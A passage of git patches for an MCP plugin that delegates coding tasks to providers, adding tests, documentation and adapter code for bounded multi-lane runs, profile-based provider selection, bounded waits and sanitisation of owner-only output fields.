assert.equal(tasksTool.inputSchema.properties.task_ids.minItems, 1); assert.equal(tasksTool.inputSchema.properties.task_ids.maxItems, 8); assert.equal(tasksTool.inputSchema.properties.wait_ms.maximum, 14400000); - assert.deepEqual(tasksTool.inputSchema.properties.wait_until.enum, ['progress', 'terminal']); + assert.deepEqual(tasksTool.inputSchema.properties.wait_until.enum, [ + 'progress', 'terminal', 'decision_or_attention', + ]); assert.equal(tasksTool.inputSchema.allOf[0].then.required[0], 'task_ids'); + const cancelTool = values[1].result.tools.find((tool) => tool.name === 'cancel'); + assert.ok(Object.hasOwn(cancelTool.inputSchema.properties, 'run_id')); + assert.ok(Object.hasOwn(cancelTool.inputSchema.properties, 'cleanup')); + assert.equal(cancelTool.inputSchema.allOf[0].else.required[0], 'task_id'); }); test('task returns a compact live snapshot and can wait for the next event', async () => { @@ -744,3 +758,58 @@ test('status fails local providers closed when the MCP environment lacks the use assert.equal(status.local_boundary.ready, false); for (const provider of ['grok', 'cursor-local', 'dsh']) assert.equal(status.readiness[provider].ready, false); }); + +test('invalid run submit stays on the five-tool catalog and creates no task artifacts', async () => { + await withServer(async ({ state, request }) => { + const listed = await request({ + jsonrpc: '2.0', + id: 1, + method: 'tools/list', + params: {}, + }); + assert.deepEqual(listed.result.tools.map((tool) => tool.name), [ + 'status', 'delegate', 'task', 'tasks', 'cancel', + ]); + const rejected = await request({ + jsonrpc: '2.0', + id: 2, + method: 'tools/call', + params: { + name: 'delegate', + arguments: { + run: { + run_id: 'NOT_A_RUN', + request_idempotency_key: 'sha256:' + 'a'.repeat(64), + identity: {}, + git: {}, + provenance: {}, + telemetry: {}, + assignments: [{ assignment_id: 'w1', task_id: 't1', provider: 'p22', model: 'x' }], + }, + }, + }, + }); + assert.equal(rejected.result.isError, true); + assert.ok(rejected.result.structuredContent.error.code === 'invalid_format' + || rejected.result.structuredContent.error.code === 'p22_not_a_provider' + || rejected.result.structuredContent.error.code === 'unknown_provider' + || rejected.result.structuredContent.error.code === 'unknown_key'); + const tasks = await request({ + jsonrpc: '2.0', + id: 3, + method: 'tools/call', + params: { name: 'tasks', arguments: {} }, + }); + assert.equal(tasks.result.structuredContent.tasks.length, 0); + const status = await request({ + jsonrpc: '2.0', + id: 4, + method: 'tools/call', + params: { name: 'status', arguments: {} }, + }); + assert.deepEqual(Object.keys(status.result.structuredContent).sort(), [ + 'active', 'capabilities', 'healthy', 'local_boundary', 'mcp_pending_call', + 'providers', 'readiness', 'tasks', 'version', + ].sort()); + }); +}); diff --git a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs index d1d7860..0363213 100644 --- a/plugins/codex-co-engineer/test/v3-supervisor.test.mjs +++ b/plugins/codex-co-engineer/test/v3-supervisor.test.mjs @@ -12,6 +12,7 @@ import { cleanupLocalTaskLifecycle, cleanupManagedWorkspace, createWriterWorkspace, + invokeRunTool, launchWorker, settleLocalTaskLifecycle, submitTask, @@ -821,3 +822,29 @@ test('exports identity-bound local lifecycle settlement without rewriting stored await rm(root, { recursive: true, force: true }); } }); + +test('invokeRunTool preserves omitted 3.2.1 mode and R-TRUTH lifecycle authority', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-supervisor-run-tool-')); + try { + const omitted = await invokeRunTool(root, 'status', { detail: 'compact', include_tasks: false }); + assert.equal(omitted.mode, 'legacy'); + const single = await invokeRunTool(root, 'cancel', { task_id: 'legacy-task' }); + assert.equal(single.mode, 'legacy'); + const rejected = await invokeRunTool(root, 'delegate', { + run: { + run_id: 'NOT_A_RUN', + request_idempotency_key: 'sha256:' + 'a'.repeat(64), + identity: {}, + git: {}, + provenance: {}, + telemetry: {}, + assignments: [], + }, + }).then(() => null, (error) => error); + assert.equal(rejected?.code, 'invalid_format'); + assert.equal(typeof settleLocalTaskLifecycle, 'function'); + assert.equal(typeof cleanupLocalTaskLifecycle, 'function'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); From 7ad199121576f1ed03473f1f9310b1b101d36441 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 01:47:58 +0000 Subject: [PATCH 145/151] docs(run-tool-api): specify additive five-tool run wiring Document the Sol-frozen submit/status/wait/attention/reply/cancel/cleanup mapping on the existing catalog, omitted-mode 3.2.1 compatibility, and the P33/P34/P35 plus four-slot registry authorities this cutover preserves. --- docs/configuration.md | 13 +++++ docs/run-tool-api.md | 86 +++++++++++++++++++++++++++++ plugins/codex-co-engineer/README.md | 6 ++ 3 files changed, 105 insertions(+) create mode 100644 docs/run-tool-api.md diff --git a/docs/configuration.md b/docs/configuration.md index f10e52a..643339b 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -255,6 +255,19 @@ does not stream raw events or emit unsolicited stdio callbacks across assistant turns. See [MCP pending-call budget](mcp-pending-call.md) and the [efficient dogfood workflow](efficient-dogfood.md). +### Bounded runs (additive) + +The five-tool catalog does not gain a sixth tool. One run is submitted +through `delegate.run` with 1–8 lanes. `status`, `task`, `tasks`, and +`cancel` accept `run_id` to inspect, wait (`wait_until: +"decision_or_attention"`), latch attention, reply exactly once +(`run_reply`), cancel named lanes, or request proof-bound `cleanup`. +Omitted run fields keep the 3.2.1 shapes above, including `view: +"compact"`, `detail: "compact"`, `task_ids` wait-any, and +`response_mode: "structured"`. Provider/model is explicit; P22 is not a +provider; parsing failures dispatch nothing. See +[the run tool API](run-tool-api.md). + ### Local providers `workspace_mode: "managed"` is the default. It creates one locked diff --git a/docs/run-tool-api.md b/docs/run-tool-api.md new file mode 100644 index 0000000..c32f700 --- /dev/null +++ b/docs/run-tool-api.md @@ -0,0 +1,86 @@ +# Run tool API (R-CUTOVER) + +R-CUTOVER is the additive five-tool wiring of bounded runs onto the +3.2.1 MCP catalog. It does not add a sixth tool. Submit, status, wait, +attention, reply, cancel, and cleanup are parameters and modes on +`status`, `delegate`, `task`, `tasks`, and `cancel`. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs` +- `plugins/codex-co-engineer/mcp/v3/server.mjs` +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs` +- this document + +## Catalog + +The public catalog remains exactly: + +`status`, `delegate`, `task`, `tasks`, `cancel` + +Omitted additive fields preserve exact 3.2.1 direct/single-task/full-text/ +structured/wait/diagnostic/reply/cancel behavior and response shapes. + +## Frozen mapping + +| Operation | Tool | Additive parameter or mode | +| --- | --- | --- | +| submit | `delegate` | `run` | +| status | `status` or `task` | `run_id` | +| wait | `task` or `tasks` | `run_id` plus `wait_until: "decision_or_attention"` | +| attention | `task` | `run_id` plus `attention` | +| reply | `task` | `run_id` plus `run_reply` | +| cancel | `cancel` | `run_id` plus optional `assignment_ids` | +| cleanup | `cancel` | `run_id` plus `cleanup: true` | + +`wait_until` remains `progress` and `terminal` for 3.2.1. The additive +run mode is `decision_or_attention`. Routine progress never wakes. + +Mixing a run body with 3.2.1 `task_id` / `workspace_mode` / `create_pr` / +`reply` fields fails closed. + +## Bounds and selection + +One run submission carries 1–8 lanes. Provider/model is explicit on each +assignment or left unresolved; the adapter never learns, ranks, or +globally routes. The accepted four-slot registry is `grok`, +`cursor-local`, `cursor-cloud`, and `dsh`. P22 future-harness +conformance remains evidence, never a provider slot. + +Direct mode, replay, fallback, merge, push, create-PR, GitHub, and +remote keys fail before any provider dispatch, ref creation, or cleanup. + +## Authority preserved + +| Surface | Owner | Use here | +| --- | --- | --- | +| One-submission runtime, proof-bound cleanup, lifecycle finality | P33 | injected `submitRun` / `inspectRun` / `resumeRun` / `cancelRun` | +| Attention latch and exactly-once reply | P34 | `resumeRun` attention items and injected `attention.reply` | +| Run-owned candidate ref | P35 | projected `refs/codex-co-engineer/runs//candidate`; never composed here | +| Four-slot provider composition | P23 | exact `{provider, model}` lookup; no fallback | +| Terminal false-success projection | R-TRUTH | model-facing lane receipts | +| Remote mutation denial | P29 / P28 | `denyRunToolRemoteMutationV1` | + +Unaffected lanes continue. A required unresolved lane blocks a complete +candidate. Decision results are the verified P33/P34 receipts, not caller +prose. MCP output is model-facing: owner-only raw artifacts are stripped. + +## API + +- `classifyRunToolCall(tool, args)` — pure; `legacy` or `run` +- `createRunToolAdapter({ runtime, attention?, projectLaneTask?, classifyLaneTask?, rememberSubmitContext? })` +- `createInProcessRunSeams({ delegateTask, inspectTask, cancelTask, settleLocalTaskLifecycle, cleanupLocalTaskLifecycle, clock? })` +- `describeRunToolAdapterV1()` +- `denyRunToolRemoteMutationV1(operation)` + +## Testing + +``` +node --no-warnings --test test/r1-run-tool-adapter.test.mjs \ + test/r1-run-tool-adapter-adversarial.test.mjs \ + test/v3-server.test.mjs \ + test/v3-supervisor.test.mjs +``` diff --git a/plugins/codex-co-engineer/README.md b/plugins/codex-co-engineer/README.md index 33a6bf8..0f634f8 100644 --- a/plugins/codex-co-engineer/README.md +++ b/plugins/codex-co-engineer/README.md @@ -26,6 +26,12 @@ The MCP server exposes five tools: | `tasks` | List or keyset-page recent receipts, or wait on 1–8 exact tasks | | `cancel` | Stop one owned local process group or Cursor Cloud run | +The catalog is still those five tools. Bounded runs use additive +parameters (`run`, `run_id`, `attention`, `run_reply`, `cleanup`, and +`wait_until: "decision_or_attention"`) on the same tools. Omit them to +keep exact 3.2.1 single-task behavior. See +[the run tool API](../../docs/run-tool-api.md). + `delegate` requires a stable `task_id`, a provider, an absolute Git worktree path in the property named `repo`, a prompt, and `expected_duration_ms` or a backwards-compatible `timeout_ms`. Providers are `grok`, `cursor-local`, From dd9dfeb5b9b29f04c684f6744360e935bb1e343c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Wed, 26 Aug 2026 02:59:28 +0000 Subject: [PATCH 146/151] fix(v3): close six R-CUTOVER lifecycle, wait, cancel, and profile blockers Default production seams use durable P33/P34 run/journal/attention authorities so restart recovery, cursors, and cleanup are not process-local. decision_or_attention performs a bounded wait, cancel returns scheduler confirmation, replies use CAS/exactly-once rejection, profile selection fails closed, and model-facing artifacts are recursively sanitized before any resume. --- docs/configuration.md | 9 +- docs/run-tool-api.md | 25 +- plugins/codex-co-engineer/README.md | 4 +- .../mcp/v3/run-tool-adapter.mjs | 629 ++++++++++++++++-- .../codex-co-engineer/mcp/v3/supervisor.mjs | 26 +- .../fixtures/r1-run-tool-adapter-fixtures.mjs | 66 +- .../r1-run-tool-adapter-adversarial.test.mjs | 35 +- .../test/r1-run-tool-adapter.test.mjs | 209 +++++- .../test/v3-supervisor.test.mjs | 9 +- 9 files changed, 923 insertions(+), 89 deletions(-) diff --git a/docs/configuration.md b/docs/configuration.md index 643339b..bae3ca5 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -264,9 +264,12 @@ through `delegate.run` with 1–8 lanes. `status`, `task`, `tasks`, and (`run_reply`), cancel named lanes, or request proof-bound `cleanup`. Omitted run fields keep the 3.2.1 shapes above, including `view: "compact"`, `detail: "compact"`, `task_ids` wait-any, and -`response_mode: "structured"`. Provider/model is explicit; P22 is not a -provider; parsing failures dispatch nothing. See -[the run tool API](run-tool-api.md). +`response_mode: "structured"`. Provider/model is explicit or filled from +one named profile; mixed explicit/profile values fail closed when they +conflict. P22 is not a provider; parsing failures dispatch nothing. +`decision_or_attention` waits until an attention or terminal decision +(or `wait_ms`), and default production seams are durable P33/P34 +authorities. See [the run tool API](run-tool-api.md). ### Local providers diff --git a/docs/run-tool-api.md b/docs/run-tool-api.md index c32f700..a218536 100644 --- a/docs/run-tool-api.md +++ b/docs/run-tool-api.md @@ -45,10 +45,13 @@ Mixing a run body with 3.2.1 `task_id` / `workspace_mode` / `create_pr` / ## Bounds and selection One run submission carries 1–8 lanes. Provider/model is explicit on each -assignment or left unresolved; the adapter never learns, ranks, or -globally routes. The accepted four-slot registry is `grok`, -`cursor-local`, `cursor-cloud`, and `dsh`. P22 future-harness -conformance remains evidence, never a provider slot. +assignment or filled from one named profile. Explicit fields must agree +with that profile when both are present; omitted fields may be filled +from the profile. A missing, invalid, or conflicting profile fails +closed before dispatch. The adapter never learns, ranks, or globally +routes. The accepted four-slot registry is `grok`, `cursor-local`, +`cursor-cloud`, and `dsh`. P22 future-harness conformance remains +evidence, never a provider slot. Direct mode, replay, fallback, merge, push, create-PR, GitHub, and remote keys fail before any provider dispatch, ref creation, or cleanup. @@ -68,10 +71,24 @@ Unaffected lanes continue. A required unresolved lane blocks a complete candidate. Decision results are the verified P33/P34 receipts, not caller prose. MCP output is model-facing: owner-only raw artifacts are stripped. +Production default seams are durable P24/P25/P34/P32 authorities under +the supervisor state root (`runs/store`, `runs/journal`, +`runs/attention`). Tests may inject `createInProcessRunSeams` or an +explicit `seams` object. Restart recovery, journal cursors, attention +CAS, and proof-bound cleanup are not process-local Maps. + +`wait_until: "decision_or_attention"` performs a bounded wait +(`wait_ms` 0 is a snapshot; omit follows the MCP pending-call budget). +It wakes only on attention or terminal lane decisions, keeps the last +lane cursor, and never replays. Model-facing receipts recursively strip +owner-only `raw` / `bytes` / `secret` evidence. Attention items are +validated before any scheduler resume. + ## API - `classifyRunToolCall(tool, args)` — pure; `legacy` or `run` - `createRunToolAdapter({ runtime, attention?, projectLaneTask?, classifyLaneTask?, rememberSubmitContext? })` +- `createDurableRunSeams({ root, delegateTask, inspectTask, cancelTask, settleLocalTaskLifecycle, cleanupLocalTaskLifecycle, clock? })` - `createInProcessRunSeams({ delegateTask, inspectTask, cancelTask, settleLocalTaskLifecycle, cleanupLocalTaskLifecycle, clock? })` - `describeRunToolAdapterV1()` - `denyRunToolRemoteMutationV1(operation)` diff --git a/plugins/codex-co-engineer/README.md b/plugins/codex-co-engineer/README.md index 0f634f8..2fb6406 100644 --- a/plugins/codex-co-engineer/README.md +++ b/plugins/codex-co-engineer/README.md @@ -29,7 +29,9 @@ The MCP server exposes five tools: The catalog is still those five tools. Bounded runs use additive parameters (`run`, `run_id`, `attention`, `run_reply`, `cleanup`, and `wait_until: "decision_or_attention"`) on the same tools. Omit them to -keep exact 3.2.1 single-task behavior. See +keep exact 3.2.1 single-task behavior. Run wait is a bounded +`decision_or_attention` wait; default production seams are durable +P33/P34 run/journal/attention authorities. See [the run tool API](../../docs/run-tool-api.md). `delegate` requires a stable `task_id`, a provider, an absolute Git worktree diff --git a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs index 5fcbfb2..3c99a44 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs @@ -14,8 +14,15 @@ // runtime, attention, and candidate refs. MCP output is model-facing and // therefore sanitized. +import { chmod, mkdir, readFile, writeFile } from 'node:fs/promises'; +import path from 'node:path'; import { types as utilTypes } from 'node:util'; +import { + openAttentionRoot, + validateAttentionItemsV1, +} from './attention-batch.mjs'; +import { MCP_PENDING_CALL_BUDGET_MS } from './contract.mjs'; import { denyRunRemoteMutationV1, } from './run-orchestration.mjs'; @@ -43,6 +50,11 @@ import { FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, } from './future-harness.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + findProfile, + loadProfiles, +} from './profile.mjs'; import { PROVIDER_REGISTRY_SLOTS, describeProviderRegistryV1, @@ -50,6 +62,13 @@ import { requireRegistrySlotV1, resolveRegistrySelectionV1, } from './provider-registry.mjs'; +import { createRunArtifactBridge } from './run-artifact-bridge.mjs'; +import { + createAggregateRunJournal, + createRunJournal, + openAggregateRunJournal, + openRunJournal, +} from './run-journal.mjs'; import { MAX_ASSIGNMENTS, MIN_ASSIGNMENTS, @@ -63,6 +82,7 @@ import { createRunRuntime, } from './run-runtime.mjs'; import { createRunScheduler } from './run-scheduler.mjs'; +import { openRunStore } from './run-store.mjs'; import { assertDirectJsonClosure, assertNotProxy, @@ -165,6 +185,15 @@ export const RUN_TOOL_ADAPTER_ALWAYS_FALSE_SIDE_EFFECTS = capturedFreeze([ export const MAX_ADAPTER_DIAGNOSTIC_BYTES = 160; export const RUN_ID_SCHEMA_PATTERN = RUN_ID_PATTERN.source; +export const MAX_RUN_TOOL_WAIT_MS = MCP_PENDING_CALL_BUDGET_MS; +export const RUN_TOOL_WAIT_POLL_MS = 25; +export const OWNER_ONLY_EVIDENCE_KEYS = capturedFreeze([ + 'raw', 'bytes', 'secret', 'secrets', 'credential', 'credentials', +]); +export const ACTIONABLE_LANE_STATUSES = capturedFreeze([ + 'needs_attention', 'completed', 'failed', 'cancelled', 'unresolved', + 'timeout', 'transport_lost', 'environment_blocked', +]); const IS_PROXY = utilTypes.isProxy; const STRING = String; @@ -444,6 +473,149 @@ function optionalValue(object, key, field) { return ownDataValue(object, key, field); } +function delayMs(milliseconds, signal) { + return new Promise((resolve) => { + if (signal?.aborted) { + resolve('abort'); + return; + } + if (!Number.isFinite(milliseconds) || milliseconds <= 0) { + resolve('timeout'); + return; + } + const timer = setTimeout(() => { + signal?.removeEventListener('abort', onAbort); + resolve('timeout'); + }, milliseconds); + const onAbort = () => { + clearTimeout(timer); + resolve('abort'); + }; + signal?.addEventListener('abort', onAbort, { once: true }); + }); +} + +function parseWaitMs(args) { + const value = optionalValue(args, 'wait_ms', 'wait_ms'); + if (value === undefined) return MAX_RUN_TOOL_WAIT_MS; + if (!Number.isInteger(value) || value < 0 || value > MAX_RUN_TOOL_WAIT_MS) { + failAdapter('invalid_format', 'wait_ms', CONTENT_FREE.invalid_format); + } + return value; +} + +function ownerOnlyKey(key) { + return typeof key === 'string' && capturedIncludes(OWNER_ONLY_EVIDENCE_KEYS, key); +} + +function sanitizeModelFacing(value, depth = 0) { + if (value === undefined || value === null) return value; + if (typeof value !== 'object') return value; + if (depth > 16) return null; + if (IS_PROXY(value)) return freezeData({}); + if (ARRAY_IS_ARRAY(value) || capturedIsArray(value)) { + return freezeData(value.map((entry) => sanitizeModelFacing(entry, depth + 1))); + } + const copy = {}; + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + return freezeData({}); + } + for (const key of keys) { + if (typeof key !== 'string' || ownerOnlyKey(key)) continue; + copy[key] = sanitizeModelFacing(value[key], depth + 1); + } + return freezeData(copy); +} + +function actionableDecision(receipt) { + const attention = receipt?.attention; + if (attention && (attention.status === 'open' || attention.status === 'reply_committed')) { + return true; + } + const lanes = ARRAY_IS_ARRAY(receipt?.lanes) ? receipt.lanes : []; + for (const lane of lanes) { + if (typeof lane?.status === 'string' && capturedIncludes(ACTIONABLE_LANE_STATUSES, lane.status)) { + return true; + } + } + return receipt?.journal?.terminal === true; +} + +function cursorsFromReceipt(receipt) { + const lanes = ARRAY_IS_ARRAY(receipt?.lanes) ? receipt.lanes : []; + const cursors = []; + for (const lane of lanes) { + if (typeof lane?.assignment_id !== 'string' || typeof lane?.task_id !== 'string') continue; + const raw = lane.cursor; + const eventCursor = typeof raw === 'string' + ? raw + : (raw && typeof raw === 'object' && typeof raw.event_cursor === 'string' ? raw.event_cursor : null); + if (typeof eventCursor !== 'string' || !capturedTest(/^[0-9]{1,16}$/u, eventCursor)) continue; + cursors.push({ + assignment_id: lane.assignment_id, + task_id: lane.task_id, + event_cursor: eventCursor, + }); + } + return cursors; +} + +async function lookupProfileDefinition(name, repositoryPath) { + if (typeof repositoryPath !== 'string' || repositoryPath.length === 0 || !path.isAbsolute(repositoryPath)) { + return null; + } + try { + const loaded = await loadProfiles({ repositoryPath }); + const found = findProfile(loaded, name); + return found?.definition ?? null; + } catch { + return null; + } +} + +async function resolveAssignmentSelection(assignment, path, runProfile, repositoryPath) { + const provider = optionalValue(assignment, 'provider', `${path}.provider`); + const model = optionalValue(assignment, 'model', `${path}.model`); + const assignmentProfile = optionalValue(assignment, 'profile', `${path}.profile`); + if (assignmentProfile !== undefined && (typeof assignmentProfile !== 'string' || !isProfileName(assignmentProfile))) { + failAdapter('invalid_format', `${path}.profile`, CONTENT_FREE.invalid_format); + } + const named = typeof assignmentProfile === 'string' ? assignmentProfile : runProfile; + let definition = null; + if (typeof named === 'string') { + definition = await lookupProfileDefinition(named, repositoryPath); + if (definition === null) { + failAdapter('selection_unresolved', path, CONTENT_FREE.selection_unresolved); + } + } + let resolvedProvider = provider; + let resolvedModel = model; + if (definition !== null) { + if (resolvedProvider !== undefined && definition.provider + && resolvedProvider !== definition.provider) { + failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); + } + if (resolvedModel !== undefined && definition.model + && resolvedModel !== definition.model) { + failAdapter('selection_unresolved', `${path}.model`, CONTENT_FREE.selection_unresolved); + } + if (resolvedProvider === undefined && typeof definition.provider === 'string') { + resolvedProvider = definition.provider; + } + if (resolvedModel === undefined && typeof definition.model === 'string') { + resolvedModel = definition.model; + } + } + if (typeof resolvedProvider !== 'string') { + failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); + } + assertRegistryProvider(resolvedProvider, resolvedModel, `${path}.provider`); + return { provider: resolvedProvider, model: resolvedModel }; +} + function assertClosedTool(tool) { if (!capturedIncludes(PUBLIC_MCP_CATALOG, tool)) { failAdapter( @@ -536,7 +708,7 @@ function stripAssignment(assignment) { return stripped; } -function parseAssignments(value) { +async function parseAssignments(value, runProfile, repositoryPath) { if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { failAdapter('invalid_type', 'run.assignments', CONTENT_FREE.invalid_type); } @@ -549,47 +721,40 @@ function parseAssignments(value) { const prompts = {}; const durations = {}; for (let index = 0; index < value.length; index += 1) { - const path = `run.assignments[${index}]`; - const assignment = quarantineObject(value[index], path, RUN_ASSIGNMENT_KEYS); - const assignmentId = requireString(assignment, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + const assignmentPath = `run.assignments[${index}]`; + const assignment = quarantineObject(value[index], assignmentPath, RUN_ASSIGNMENT_KEYS); + const assignmentId = requireString(assignment, 'assignment_id', `${assignmentPath}.assignment_id`, isAssignmentId); if (seenIds.has(assignmentId)) { - failAdapter('duplicate_assignment_id', `${path}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); + failAdapter('duplicate_assignment_id', `${assignmentPath}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); } seenIds.add(assignmentId); - const taskId = requireString(assignment, 'task_id', `${path}.task_id`, + const taskId = requireString(assignment, 'task_id', `${assignmentPath}.task_id`, (candidate) => capturedTest(TASK_ID_PATTERN, candidate)); if (seenTasks.has(taskId)) { - failAdapter('duplicate_task_id', `${path}.task_id`, CONTENT_FREE.duplicate_task_id); + failAdapter('duplicate_task_id', `${assignmentPath}.task_id`, CONTENT_FREE.duplicate_task_id); } seenTasks.add(taskId); - const provider = optionalValue(assignment, 'provider', `${path}.provider`); - const model = optionalValue(assignment, 'model', `${path}.model`); - const profile = optionalValue(assignment, 'profile', `${path}.profile`); - if (provider === undefined && model === undefined) { - if (typeof profile !== 'string' || !isProfileName(profile)) { - failAdapter('selection_unresolved', path, CONTENT_FREE.selection_unresolved); - } - } else { - if (typeof provider !== 'string') { - failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); - } - assertRegistryProvider(provider, model, `${path}.provider`); - } - const prompt = optionalValue(assignment, 'prompt', `${path}.prompt`); + const resolved = await resolveAssignmentSelection( + assignment, assignmentPath, runProfile, repositoryPath, + ); + const prompt = optionalValue(assignment, 'prompt', `${assignmentPath}.prompt`); if (prompt !== undefined) { if (typeof prompt !== 'string' || prompt.length < 1 || prompt.length > 16384) { - failAdapter('invalid_format', `${path}.prompt`, CONTENT_FREE.invalid_format); + failAdapter('invalid_format', `${assignmentPath}.prompt`, CONTENT_FREE.invalid_format); } prompts[assignmentId] = prompt; } - const duration = optionalValue(assignment, 'expected_duration_ms', `${path}.expected_duration_ms`); + const duration = optionalValue(assignment, 'expected_duration_ms', `${assignmentPath}.expected_duration_ms`); if (duration !== undefined) durations[assignmentId] = duration; - parsed.push(stripAssignment(assignment)); + const stripped = stripAssignment(assignment); + stripped.provider = resolved.provider; + stripped.model = resolved.model; + parsed.push(stripped); } return { assignments: parsed, prompts, durations }; } -function parseSubmit(args) { +async function parseSubmit(args) { if (mixLegacySingleTask('delegate', args)) { failAdapter('mixed_tool_mode', 'delegate', CONTENT_FREE.mixed_tool_mode); } @@ -607,12 +772,15 @@ function parseSubmit(args) { if (profile !== undefined && (typeof profile !== 'string' || !isProfileName(profile))) { failAdapter('invalid_format', 'run.profile', CONTENT_FREE.invalid_format); } - const { assignments, prompts, durations } = parseAssignments(ownDataValue(run, 'assignments', 'run.assignments')); - const unresolved = assignments.some((assignment) => assignment.provider === undefined - || assignment.model === undefined); - if (unresolved && (typeof profile !== 'string' || !isProfileName(profile))) { - failAdapter('selection_unresolved', 'run.assignments', CONTENT_FREE.selection_unresolved); - } + const git = ownDataValue(run, 'git', 'run.git'); + const repositoryPath = git && typeof git === 'object' ? git.repository_path ?? null : null; + const { assignments, prompts, durations } = await parseAssignments( + ownDataValue(run, 'assignments', 'run.assignments'), + typeof profile === 'string' ? profile : undefined, + repositoryPath, + ); + const unresolved = assignments.some((assignment) => typeof assignment.provider !== 'string' + || typeof assignment.model !== 'string'); if (unresolved) { failAdapter('selection_unresolved', 'run.assignments', CONTENT_FREE.selection_unresolved); } @@ -623,7 +791,7 @@ function parseSubmit(args) { run_id: runId, request_idempotency_key: idempotency, identity: ownDataValue(run, 'identity', 'run.identity'), - git: ownDataValue(run, 'git', 'run.git'), + git, provenance: ownDataValue(run, 'provenance', 'run.provenance'), telemetry: ownDataValue(run, 'telemetry', 'run.telemetry'), assignments, @@ -634,7 +802,7 @@ function parseSubmit(args) { profile: typeof profile === 'string' ? profile : null, prompts, durations, - repository_path: run.git && typeof run.git === 'object' ? run.git.repository_path ?? null : null, + repository_path: repositoryPath, }), }; } @@ -687,15 +855,12 @@ function projectLane(lane, projectLaneTask, classifyLaneTask) { : copy.task; } if (copy.artifacts && typeof copy.artifacts === 'object') { - const artifacts = { ...copy.artifacts }; - if (capturedHasOwn(artifacts, 'raw')) delete artifacts.raw; - if (capturedHasOwn(artifacts, 'bytes')) delete artifacts.bytes; - copy.artifacts = artifacts; + copy.artifacts = sanitizeModelFacing(copy.artifacts); } - return freezeData(copy); + return sanitizeModelFacing(copy); } -function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask) { +function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, wakeRequested = false) { const runId = runtimeReceipt?.run_id; const lanes = ARRAY_IS_ARRAY(runtimeReceipt?.lanes) ? runtimeReceipt.lanes.map((lane) => projectLane(lane, projectLaneTask, classifyLaneTask)) @@ -713,10 +878,12 @@ function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classi || (runtimeReceipt?.cleanup && runtimeReceipt.cleanup.cleaned === true)) { sideEffects.cleanup_executed = runtimeReceipt?.cleanup?.cleaned === true; } - const attention = runtimeReceipt?.attention ?? freezeData({ + const attention = sanitizeModelFacing(runtimeReceipt?.attention ?? freezeData({ batch_id: null, status: null, revision: null, wake: false, complete_candidate_blocked: blocked, - }); + })); + const actionable = actionableDecision({ ...runtimeReceipt, lanes, attention }); + const wake = wakeRequested === true && actionable === true; return freezeData({ schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, version: RUN_TOOL_ADAPTER_VERSION, @@ -728,11 +895,11 @@ function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classi assignment_count: runtimeReceipt?.assignment_count ?? lanes.length, lanes, attention, - cleanup: runtimeReceipt?.cleanup ?? freezeData({ + cleanup: sanitizeModelFacing(runtimeReceipt?.cleanup ?? freezeData({ cleaned: false, proof_bound: true, removed: 0, remaining: null, unresolved: [], - }), + })), decision_or_attention: freezeData({ - wake: false, + wake, attention: attention?.status === 'open' || lanes.some((lane) => lane?.status === 'needs_attention'), unresolved_required_blocks: blocked, exactly_once_reply: attention?.status === 'reply_committed' || attention?.status === 'resolved', @@ -742,7 +909,7 @@ function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classi checks: emptyChecks(), side_effects: sideEffects, audience: 'model', - wake: false, + wake, remote_mutated: false, }); } @@ -851,7 +1018,35 @@ export function createRunToolAdapter(dependencies) { submit: 0, inspect: 0, resume: 0, cancel: 0, reply: 0, }; - async function dispatch(tool, args) { + async function inspectLive(runId, previous) { + const cursors = cursorsFromReceipt(previous); + if (cursors.length > 0) { + counters.resume += 1; + return runtime.resumeRun({ run_id: runId, cursors }); + } + counters.inspect += 1; + return runtime.inspectRun({ run_id: runId }); + } + + async function waitForDecision(runId, args, signal) { + const waitMs = parseWaitMs(args); + const started = Date.now(); + let receipt = await inspectLive(runId, null); + if (actionableDecision(receipt) || waitMs === 0) return receipt; + const deadline = started + waitMs; + while (Date.now() < deadline) { + if (signal?.aborted) return receipt; + const remaining = deadline - Date.now(); + if (remaining <= 0) break; + await delayMs(Math.min(RUN_TOOL_WAIT_POLL_MS, remaining), signal); + if (signal?.aborted) return receipt; + receipt = await inspectLive(runId, receipt); + if (actionableDecision(receipt)) return receipt; + } + return receipt; + } + + async function dispatch(tool, args, options = {}) { const classified = classifyRunToolCall(tool, args); if (classified.mode === 'legacy') return classified; assertClosedTool(tool); @@ -870,9 +1065,10 @@ export function createRunToolAdapter(dependencies) { failAdapter('mixed_tool_mode', 'tasks', CONTENT_FREE.mixed_tool_mode); } + const signal = options && typeof options === 'object' ? options.signal : 